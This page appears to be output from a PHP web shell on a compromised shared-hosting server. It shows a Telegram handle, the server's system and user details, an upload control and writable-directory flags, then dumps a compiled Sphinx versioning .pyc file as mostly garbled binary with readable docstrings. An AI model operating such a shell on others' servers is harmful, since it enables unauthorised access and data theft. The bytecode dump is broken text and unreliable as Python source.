https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sphinx/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sphinx/__pycache__/versioning.cpython-310.pyc
o

�$�a@�	@s>dZddlZddlmZmZddlmZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZdd	lmZe
r@dd
lmZzddlZdZWneySdZYnwd
Zdedede
efdd�Zdededede
efdd�Zdededefdd�Zdededefdd�Z Gdd�de�Z!dd deeeffd!d"�Z"dS)#z�
    sphinx.versioning
    ~~~~~~~~~~~~~~~~~

    Implements the low-level algorithms Sphinx uses for the versioning of
    doctrees.

    :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�product�zip_longest)�
itemgetter)�path)�
TYPE_CHECKING�Any�Dict�Iterator)�uuid4)�Node)�SphinxTransform)�SphinxTF�A�doctree�	condition�returnccs&�|�|�D]
}t�j|_|VqdS)aAdd a unique id to every node in the `doctree` which matches the
    condition and yield the nodes.

    :param doctree:
        A :class:`docutils.nodes.document` instance.

    :param condition:
        A callable which returns either ``True`` or ``False`` for a given node.
    N)�traverser
�hex�uid)rr�node�r�3/usr/lib/python3/dist-packages/sphinx/versioning.py�add_uids#s
�

�r�old�newccs��|�|�}|�|�}g}g}i}t�}t||�D]H\}	}
|	dur'|�|
�qt|	dd�s2t�j|	_|
dur<|�|	�qt|	j	|
j	�}|dkrQ|	j|
_|�
|
�q|||	|
f<|�|	�|�|
�qt||�D]*\}	}
|
|vsu|	|
f|vrvqgt|	j	|
j	�}|dkr�|	j|
_|�
|
�qg|||	|
f<qgt|�
�td�d�}|D]!\\}	}
}|
|vr�q�|�
|
�|tkr�|	j|
_q�t�j|
_|
Vq�t|�|D]
}
t�j|
_|
Vq�dS)a1Merge the `old` doctree with the `new` one while looking at nodes
    matching the `condition`.

    Each node which replaces another one or has been added to the `new` doctree
    will be yielded.

    :param condition:
        A callable which returns either ``True`` or ``False`` for a given node.
    Nrr�)�key)r�setr�append�getattrr
rr�	get_ratio�	rawsource�addr�sorted�itemsr�VERSIONING_RATIO)rrr�old_iter�new_iter�	old_nodes�	new_nodes�ratios�seen�old_node�new_node�ratiorrr�merge_doctrees2sX�










�r/cCsBt||g�stStrt�||�t|�dSt||�t|�dS)z�Return a "similarity ratio" (in percent) representing the similarity
    between the two strings where 0 is equal and anything above less than equal.
    gY@)�allr%�
IS_SPEEDUP�Levenshtein�distance�len�levenshtein_distance)rrrrrr us
r �a�bcCs�||krdSt|�t|�kr||}}|st|�Sttt|�d��}t|�D]3\}}|dg}t|�D]#\}}||dd}||d}	||||k}
|�t||	|
��q4|}q'|dS)zEReturn the Levenshtein edit distance between two strings *a* and *b*.rr���)r4�list�range�	enumerater�min)r6r7�previous_row�i�column1�current_row�j�column2�
insertions�	deletions�
substitutionsrrrr5�s 

r5c@s&eZdZdZdZdeddfdd�ZdS)�UIDTransformz#Add UIDs to doctree for versioning.ip�kwargsrNcKs�|j}d}|js
dS|jr=z&t�|j|jd�}t|d��
}t�	|�}Wd�n1s-wYWn	t
y<Ynw|jrD|durOtt|j
|j��dStt||j
|j��dS)Nz.doctree�rb)�env�versioning_condition�versioning_comparer�join�
doctreedir�docname�open�pickle�load�OSErrorr9r�documentr/)�selfrGrI�old_doctree�filename�frrr�apply�s"���zUIDTransform.apply)�__name__�
__module__�__qualname__�__doc__�default_priorityrrXrrrrrF�srF�appr
cCs|�t�dddd�S)N�builtinT)�version�parallel_read_safe�parallel_write_safe)�
add_transformrF)r^rrr�setup�s

�rd)#r\rP�	itertoolsrr�operatorr�osr�typingrrrr	�uuidr
�docutils.nodesr�sphinx.transformsr�sphinx.applicationr
r2r1�ImportErrorr%rr/�str�floatr �intr5rFrdrrrr�<module>s0
�C


https://t.me/RX1948 - 2025